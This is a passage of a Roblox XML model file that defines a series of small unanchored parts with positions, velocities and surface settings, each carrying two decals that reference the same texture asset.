				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0134447971</X>
					<Y>-0.000509403821</Y>
					<Z>0.0122092394</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00220550154</X>
					<Y>0.00234982604</Y>
					<Z>0.00115298806</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1455">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1456">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1457">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-29.2149677</X>
					<Y>0.891034007</Y>
					<Z>-24.6285286</Z>
					<R00>-0.858868301</R00>
					<R01>-0.511671066</R01>
					<R02>-0.0231878012</R02>
					<R10>0.00642515952</R10>
					<R11>0.0345049649</R11>
					<R12>-0.999383807</R12>
					<R20>0.51215589</R20>
					<R21>-0.858488202</R21>
					<R22>-0.0263475124</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.147047281</X>
					<Y>0.0176099967</Y>
					<Z>0.128965244</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0545348935</X>
					<Y>0.00622564554</Y>
					<Z>-0.0602185875</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1458">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1459">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1460">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-30.0805702</X>
					<Y>0.590924442</Y>
					<Z>-22.4982605</Z>
					<R00>-0.801302254</R00>
					<R01>-0.000317260739</R01>
					<R02>-0.598259807</R02>
					<R10>-0.000230487567</R10>
					<R11>0.99999994</R11>
					<R12>-0.000221593582</R12>
					<R20>0.598259866</R20>
					<R21>-3.96719661e-005</R21>
					<R22>-0.801302254</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0288720205</X>
					<Y>0.000657482538</Y>
					<Z>-0.0134831285</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000131972265</X>
					<Y>0.00212376588</Y>
					<Z>-0.000733345165</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1461">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1462">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1463">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-27.1591644</X>
					<Y>0.591158867</Y>
					<Z>-25.3105965</Z>
					<R00>0.713416696</R00>
					<R01>0.000227124372</R01>
					<R02>0.70073998</R02>
					<R10>-0.000103977778</R10>
					<R11>1</R11>
					<R12>-0.000218261936</R12>
					<R20>-0.700740039</R20>
					<R21>8.28503325e-005</R21>
					<R22>0.713416696</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0155410944</X>
					<Y>0.000946744753</Y>
					<Z>-0.0122962557</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00164671766</X>
					<Y>-0.0078659784</Y>
					<Z>-0.00568886055</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1464">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1465">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1466">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-30.2742996</X>
					<Y>0.591133237</Y>
					<Z>-26.8391018</Z>
					<R00>-0.873711944</R00>
					<R01>0.000214155225</R01>
					<R02>0.486443698</R02>
					<R10>-0.000523658586</R10>
					<R11>-0.999999702</R11>
					<R12>-0.000500307826</R12>
					<R20>0.48644346</R20>
					<R21>-0.000691855268</R21>
					<R22>0.873711765</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0163291097</X>
					<Y>0.00351322303</Y>
					<Z>-0.0188578218</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000681290636</X>
					<Y>0.00345715275</Y>
					<Z>0.000316167745</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1467">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1468">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1469">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-16.0504398</X>
					<Y>0.586248875</Y>
					<Z>-17.9166965</Z>
					<R00>-0.49017033</R00>
					<R01>-0.000145831538</R01>
					<R02>-0.871626675</R02>
					<R10>0.000207324265</R10>
					<R11>0.99999994</R11>
					<R12>-0.000283901085</R12>
					<R20>0.871626675</R20>
					<R21>-0.000319869228</R21>
					<R22>-0.49017027</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0401723087</X>
					<Y>-0.0161666498</Y>
					<Z>-0.0800341964</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0093299672</X>
					<Y>0.0350421742</Y>
					<Z>-0.00545744132</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1470">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1471">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1472">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-17.7624264</X>
					<Y>0.589395225</Y>
					<Z>-20.3749371</Z>
					<R00>-0.955836177</R00>
					<R01>-0.00197741319</R01>
					<R02>0.293893069</R02>
					<R10>-0.00165154226</R10>
					<R11>0.999997735</R11>
					<R12>0.0013569725</R12>
					<R20>-0.293895066</R20>
					<R21>0.000811666658</R21>
					<R22>-0.955837309</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0299561806</X>
					<Y>0.00521227205</Y>
					<Z>0.0224685967</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00550302491</X>
					<Y>0.00952163525</Y>
					<Z>0.00463164784</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1473">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1474">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1475">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-19.6682186</X>
					<Y>0.591083944</Y>
					<Z>-18.4293594</Z>
					<R00>0.846380949</R00>
					<R01>-0.000929465285</R01>
					<R02>0.532577157</R02>
					<R10>-0.000254647486</R10>
					<R11>-0.999999106</R11>
					<R12>-0.00134052988</R12>
					<R20>0.532577932</R20>
					<R21>0.000998979551</R21>
					<R22>-0.846380413</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0279642548</X>
					<Y>-0.00134345097</Y>
					<Z>0.0464043692</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000356925681</X>
					<Y>-0.00898790173</Y>
					<Z>-0.000107637941</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1476">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1477">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1478">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-16.6811523</X>
					<Y>0.590826571</Y>
					<Z>-12.7976027</Z>
					<R00>-0.114991866</R00>
					<R01>0.00100607902</R01>
					<R02>0.993365943</R02>
					<R10>5.52566235e-005</R10>
					<R11>0.999999464</R11>
					<R12>-0.00100640103</R12>
					<R20>-0.99336648</R20>
					<R21>-6.08378541e-005</R21>
					<R22>-0.114991866</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0266475379</X>
					<Y>0.00088584685</Y>
					<Z>0.0182158872</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000442578807</X>
					<Y>-0.0102206599</Y>
					<Z>0.00018264445</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1479">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1480">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1481">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-14.996562</X>
					<Y>0.802675188</Y>
					<Z>-19.3924351</Z>
					<R00>-0.475815892</R00>
					<R01>0.10664057</R01>
					<R02>-0.873056233</R02>
					<R10>0.217118755</R10>
					<R11>0.976144791</R11>
					<R12>0.000902690226</R12>
					<R20>0.852325499</R20>
					<R21>-0.189127356</R21>
					<R22>-0.487618893</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00554776145</X>
					<Y>0.0183095243</Y>
					<Z>0.0255345125</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.0132718664</X>
					<Y>0.00145147392</Y>
					<Z>0.00705653895</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1482">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1483">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1484">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>0.979449868</X>
					<Y>0.591170073</Y>
					<Z>-17.866457</Z>
					<R00>-0.860568881</R00>
					<R01>0.000482363423</R01>
					<R02>0.50933373</R02>
					<R10>0.000296245562</R10>
					<R11>0.999999881</R11>
					<R12>-0.000446512015</R12>
					<R20>-0.509333849</R20>
					<R21>-0.000233366503</R21>
					<R22>-0.860568941</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0179887731</X>
					<Y>-0.000629005604</Y>
					<Z>-0.0120313698</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000931769144</X>
					<Y>-0.00532215135</Y>
					<Z>-0.000985399587</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
